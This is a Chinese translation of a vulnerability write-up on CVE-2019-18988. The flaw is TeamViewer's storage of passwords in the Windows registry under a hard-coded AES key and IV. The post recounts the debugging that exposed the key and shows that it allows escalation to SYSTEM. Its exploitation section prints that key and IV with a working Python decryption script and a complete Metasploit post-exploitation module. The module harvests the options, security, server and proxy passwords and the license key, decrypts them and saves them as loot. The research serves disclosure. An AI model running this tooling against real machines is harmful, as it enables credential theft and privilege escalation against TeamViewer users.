0x01 漏洞描述
TeamViewer 在Windows注冊表中存儲了用AES-128-CBC加密的用戶密碼,密鑰分別為0602000000a400005253413100040000和0100010067244F436E6762F25EA8D704。如果密碼在任何地方都可以重復(fù)使用,則提權(quán)就會變成可能。如果你沒有計算機(jī)的RDP權(quán)限,但已安裝TeamViewer,則可以使用TeamViewer進(jìn)行遠(yuǎn)程訪問。TeamViewer還允許你復(fù)制數(shù)據(jù)或計劃任務(wù)以通過其服務(wù)運(yùn)行,該服務(wù)運(yùn)行為NT AUTHORITY\SYSTEM,因此低特權(quán)用戶可以立即轉(zhuǎn)到SYSTEM的一個.bat文件,此漏洞被分配了CVE-2019-18988。
0x02 漏洞分析
在TeamViewer注冊表項(xiàng)的備份文件中,我注意到備份中有OptionsPasswordAES或SecurityPasswordAES,我可以導(dǎo)入注冊表設(shè)置或?qū)⑵洳渴鹪?msi中,以便同一組織中安裝的所有TeamViewer都可以使用相同的密碼,我懷疑所有TeamViewer上都有一個共享密鑰,可以通過AES的注冊表項(xiàng)來備份聲明。
我嘗試從TeamViewer注冊表項(xiàng)中找到與該版本完全相同的安裝程序,TeamViewer提供了所有舊版本供下載,仍可在此處找到。我安裝了新的Windows 10 VM,并在上面安裝了TeamViewer 7,我導(dǎo)入了注冊表項(xiàng),事實(shí)證明,OptionsPasswordAESreg鍵會防止未經(jīng)授權(quán)的人員進(jìn)入菜單,在此你可以更改設(shè)置。
我發(fā)現(xiàn)“選項(xiàng)密碼”以明文形式存儲在字節(jié)080088和000000000000之間的內(nèi)存中,然后我發(fā)現(xiàn)090088之間和000000000000給了我兩個密碼,我發(fā)現(xiàn)此問題已經(jīng)分配了CVE-2018-14333。
此漏洞就是之前關(guān)于APT41的報告涉及他們?nèi)绾喂鬞eamViewer用戶或如何使用TeamViewer獲得對某些用戶的遠(yuǎn)程訪問的漏洞。
啟動IDA Pro開始逆轉(zhuǎn)TeamViewer的二進(jìn)制文件,我將內(nèi)存轉(zhuǎn)儲到隨機(jī)的位置,并一次遍歷32字節(jié)的每個內(nèi)存塊,看看是否可以發(fā)現(xiàn)密鑰,我發(fā)現(xiàn)TeamViewer使用Crypto ++進(jìn)行加密/解密。事實(shí)證明,libcrypto ++支持的一種模式是rijndael,我使用API Monitor逐步瀏覽TeamViewer和Cheat Engine以搜索密碼,然后將它們pop到內(nèi)存中,然后使用procdump轉(zhuǎn)儲進(jìn)程內(nèi)存然后遍歷每個32字節(jié)的內(nèi)存塊,每次滑動一個字節(jié)以確保擊中每種可能的組合。我懷疑procdump可能壓縮某些內(nèi)容,所以我使用Frida來轉(zhuǎn)儲內(nèi)存,但是仍然沒有頭緒。
我花了很長時間來研究二進(jìn)制文件,我知道必須有更好的方法。我一直在進(jìn)行研究,結(jié)果發(fā)現(xiàn)有很多人想要找到Unity游戲的AES密鑰,只需要使用調(diào)試器即可。由于我不想錯過任何內(nèi)容,單步調(diào)試TeamViewer大約6個小時之后,我進(jìn)入了負(fù)責(zé)AES解密的代碼區(qū)域。
這是我的調(diào)試筆記:
=================================================
"ServerPasswordAES"=hex:88,44,d7,0a,b2,96,2a,3d,63,16,3c,ff,e4,15,04,fb
=================================================
Takes 8844d70ab2962a3d63163cffe41504fb into xmm0
Takes 5B659253E5E873D26723B7D5EAC06E3B into xmm1
pxor xmm0, xmm1
movdqa xmmword ptr ds:[eax],xmm0
[eax] = D3214559577E59EF04358B2A0ED56AC0
movdqa xmm1,xmmword ptr ds:[esi] | [esi] = 25C8C8BD4298BB32A57EECBDBD045BBB
movdqa xmm0,xmmword ptr ds:[eax] | [eax] = D3214559577E59EF04358B2A0ED56AC0
aesdec xmm0,xmm1 | One round of an AES decryption, using Equivalent Inverse Cipher, 128-bit data (state) from xmm1 with 128-bit round key from xmm2/m128; store the result in xmm1.
movdqa xmmword ptr ds:[eax],xmm0 | [eax] = 6F AA 98 76 DE 11 7D 8D 7E B6 EE 61 2D 3D 15 52
movdqa xmm1,xmmword ptr ds:[esi+10] | [esi+10]=[008FDE10]=79 DC 78 A6 67 50 73 8F E7 E6 57 8F 18 7A B7 06
add esi,20 |
dec ecx | ecx = 3
aesdec xmm0,xmm1 | do the actual decryption
movdqa xmmword ptr ds:[eax],xmm0 | [eax]=[008FDC90]=E3 58 26 46 A7 37 12 40 85 1C C0 43 7D 1F 1E 30
Three more rounds of aesdec then
aesdeclast xmm0, xmm1 .| Last round of AES decryption, using Equivalent Inverse Cipher, 128-bit data (state) from xmm2 with a 128-bit round key from xmm3/m128; store the result in xmm1.
008FDC90 01 00 01 00 67 24 4F 43 6E 67 62 F2 5E A8 D7 04 ....g$OCngbò^¨×.
這部分代碼從注冊表中獲取字節(jié)ServerPasswordAES,然后使用看起來25C8C8BD4298BB32A57EECBDBD045BBB不正確的密鑰解密它。 IV應(yīng)該與aesdec純文本的前128位進(jìn)行異或。我意識到我錯過了movdqa進(jìn)入xmm2,pxor xmm0,xmm1并沒有進(jìn)一步混淆,而是使用了IV。我在函數(shù)的開頭設(shè)置了一個斷點(diǎn),然后重新啟動了該過程,進(jìn)入xmm2的動作是0602000000a400005253413100040000的關(guān)鍵。
IV是ServerPasswordAES具有前面提到的密鑰和空IV 的解密字節(jié),在這種情況下,IV SecurityPasswordAES是0100010067244F436E6762F25EA8D704。只要SecurityPasswordExported有可用的密鑰,此功能就可以立即使用TeamViewer版本7和最新版本的Teamviewer 14 。
在TeamViewer 14中,他們?yōu)闃I(yè)務(wù)客戶引入了腳本引擎,下面顯示的是的輸出sc.exe qc TeamViewer7。
PS C:\Users\Administrator\Documents\testing> sc.exe qc TeamViewer7
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: TeamViewer7
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : "C:\Program Files (x86)\TeamViewer\Version7\TeamViewer_Service.exe"
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : TeamViewer 7
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
輸出的最后一行tasklist /v,通過啟用TeamViewer安裝的密碼并啟用腳本引擎,可以從低特權(quán)用戶升級為NT AUTHORITY\SYSTEM僅讀取注冊表。
PS C:\Users\Administrator\Documents\testing> tasklist /v
Image Name PID Session Name Session# Mem Usage Status User Name CPU Time Window Title
========================= ======== ================ =========== ============ =============== ================================================== ============ ============================================
System Idle Process 0 Services 0 4 K Unknown NT AUTHORITY\SYSTEM 69:20:56 N/A
System 4 Services 0 144 K Unknown N/A 0:01:43 N/A
smss.exe 260 Services 0 1,264 K Unknown NT AUTHORITY\SYSTEM 0:00:00 N/A
csrss.exe 376 Services 0 4,300 K Unknown NT AUTHORITY\SYSTEM 0:00:05 N/A
wininit.exe 444 Services 0 5,172 K Unknown NT AUTHORITY\SYSTEM 0:00:02 N/A
csrss.exe 452 Console 1 4,332 K Unknown NT AUTHORITY\SYSTEM 0:00:00 N/A
winlogon.exe 504 Console 1 8,364 K Unknown NT AUTHORITY\SYSTEM 0:00:00 N/A
services.exe 568 Services 0 7,368 K Unknown NT AUTHORITY\SYSTEM 0:00:04 N/A
lsass.exe 576 Services 0 21,076 K Unknown NT AUTHORITY\SYSTEM 0:05:14 N/A
svchost.exe 660 Services 0 20,084 K Unknown NT AUTHORITY\SYSTEM 0:00:01 N/A
svchost.exe 712 Services 0 11,604 K Unknown NT AUTHORITY\NETWORK SERVICE 0:00:21 N/A
LogonUI.exe 812 Console 1 42,972 K Unknown NT AUTHORITY\SYSTEM 0:00:00 N/A
dwm.exe 820 Console 1 30,396 K Unknown Window Manager\DWM-1 0:00:00 N/A
svchost.exe 912 Services 0 78,452 K Unknown NT AUTHORITY\NETWORK SERVICE 0:07:20 N/A
svchost.exe 948 Services 0 27,564 K Unknown NT AUTHORITY\SYSTEM 0:00:18 N/A
svchost.exe 956 Services 0 19,964 K Unknown NT AUTHORITY\LOCAL SERVICE 0:00:03 N/A
svchost.exe 396 Services 0 17,756 K Unknown NT AUTHORITY\LOCAL SERVICE 0:00:01 N/A
svchost.exe 440 Services 0 9,608 K Unknown NT AUTHORITY\SYSTEM 0:00:35 N/A
svchost.exe 1060 Services 0 68,988 K Unknown NT AUTHORITY\SYSTEM 0:04:04 N/A
svchost.exe 1072 Services 0 27,036 K Unknown NT AUTHORITY\LOCAL SERVICE 0:00:02 N/A
VSSVC.exe 1188 Services 0 7,772 K Unknown NT AUTHORITY\SYSTEM 0:00:00 N/A
svchost.exe 1256 Services 0 23,948 K Unknown NT AUTHORITY\NETWORK SERVICE 0:00:33 N/A
svchost.exe 1268 Services 0 7,040 K Unknown NT AUTHORITY\LOCAL SERVICE 0:00:00 N/A
spoolsv.exe 1952 Services 0 24,168 K Unknown NT AUTHORITY\SYSTEM 0:00:05 N/A
svchost.exe 2032 Services 0 31,012 K Unknown NT AUTHORITY\SYSTEM 0:00:04 N/A
IpOverUsbSvc.exe 1172 Services 0 15,688 K Unknown NT AUTHORITY\SYSTEM 0:00:00 N/A
SolidCP.VmConfig.exe 1580 Services 0 36,636 K Unknown NT AUTHORITY\SYSTEM 0:00:05 N/A
TeamViewer_Service.exe 1908 Services 0 14,908 K Unknown NT AUTHORITY\SYSTEM 0:00:01 N/A
0x03 漏洞利用
Python的PoC代碼和metasploit后滲透模塊的代碼:
import sys, hexdump, binascii
from Crypto.Cipher import AES
class AESCipher:
def __init__(self, key):
self.key = key
def decrypt(self, iv, data):
self.cipher = AES.new(self.key, AES.MODE_CBC, iv)
return self.cipher.decrypt(data)
key = binascii.unhexlify("0602000000a400005253413100040000")
iv = binascii.unhexlify("0100010067244F436E6762F25EA8D704")
hex_str_cipher = "d690a9d0a592327f99bb4c6a6b6d4cbe" # output from the registry
ciphertext = binascii.unhexlify(hex_str_cipher)
raw_un = AESCipher(key).decrypt(iv, ciphertext)
print(hexdump.hexdump(raw_un))
password = raw_un.decode('utf-16')
print(password)
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
# @blurbdust based this code off of https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/gpp.rb
# and https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/enum_ms_product_keys.rb
##
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Registry
def initialize(info={})
super(update_info(info,
'Name' => 'Windows Gather TeamViewer Passwords',
'Description' => %q{ This module will find and decrypt stored TeamViewer keys },
'License' => MSF_LICENSE,
'Author' => [ 'Nic Losby '],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
))
end
def app_list
results = ""
keys = [
[ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version7", "Version" ],
[ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version8", "Version" ],
[ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version9", "Version" ],
[ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version10", "Version" ],
[ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version11", "Version" ],
[ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version12", "Version" ],
[ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version13", "Version" ],
[ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version14", "Version" ],
[ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version15", "Version" ],
[ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer", "Version" ],
[ "HKLM\\SOFTWARE\\TeamViewer\\Temp", "SecurityPasswordExported" ],
[ "HKLM\\SOFTWARE\\TeamViewer", "Version" ],
]
keys.each do |keyx86|
#parent key
p = keyx86[0,1].join
#child key
c = keyx86[1,1].join
key = nil
keychunk = registry_getvaldata(p, c)
key = keychunk.unpack("C*") if not keychunk.nil?
optpass = registry_getvaldata(p, "OptionsPasswordAES")
secpass = registry_getvaldata(p, "SecurityPasswordAES")
secpasse = registry_getvaldata(p, "SecurityPasswordExported")
servpass = registry_getvaldata(p, "ServerPasswordAES")
proxpass = registry_getvaldata(p, "ProxyPasswordAES")
license = registry_getvaldata(p, "LicenseKeyAES")
if not optpass.nil?
decvalue = decrypt(optpass)
if not decvalue.nil?
print_good("Found Options Password: #{decvalue}")
results << "Options:#{decvalue}\n"
end
end
if not secpass.nil?
decvalue = decrypt(secpass)
if not decvalue.nil?
print_good("Found Security Password: #{decvalue}")
results << "Security:#{decvalue}\n"
end
end
if not secpasse.nil?
decvalue = decrypt(secpasse)
if not decvalue.nil?
print_good("Found Security Password Exported: #{decvalue}")
results << "SecurityE:#{decvalue}\n"
end
end
if not servpass.nil?
decvalue = decrypt(servpass)
if not decvalue.nil?
print_good("Found Server Password: #{decvalue}")
results << "Server:#{decvalue}\n"
end
end
if not proxpass.nil?
decvalue = decrypt(proxpass)
if not decvalue.nil?
print_good("Found Proxy Password: #{decvalue}")
results << "Proxy:#{decvalue}\n"
end
end
if not license.nil?
decvalue = decrypt(license)
if not decvalue.nil?
print_good("Found License Key: #{decvalue}")
results << "License:#{decvalue}\n"
end
end
end
#Only save data to disk when there's something in the table
if not results.empty?
path = store_loot("host.teamviewer_passwords", "text/plain", session, results, "teamviewer_passwords.txt", "TeamViewer Passwords")
print_good("Passwords stored in: #{path.to_s}")
end
end
def decrypt(encrypted_data)
password = ""
return password unless encrypted_data
password = ""
original_data = encrypted_data.dup
decoded = encrypted_data
#print_status(decoded)
key = "\x06\x02\x00\x00\x00\xa4\x00\x00\x52\x53\x41\x31\x00\x04\x00\x00"
iv = "\x01\x00\x01\x00\x67\x24\x4F\x43\x6E\x67\x62\xF2\x5E\xA8\xD7\x04"
aes = OpenSSL::Cipher.new("AES-128-CBC")
begin
aes.decrypt
aes.key = key
aes.iv = iv
plaintext = aes.update(decoded)
password = Rex::Text.to_ascii(plaintext, 'utf-16le')
if plaintext.empty?
return nil
end
rescue OpenSSL::Cipher::CipherError => e
puts "Unable to decode: \"#{encrypted_data}\" Exception: #{e}"
end
password
end
def run
print_status("Finding TeamViewer Passwords on #{sysinfo['Computer']}")
app_list
end
end
本文翻譯自:https://whynotsecurity.com/blog/teamviewer/如若轉(zhuǎn)載,請注明原文地址。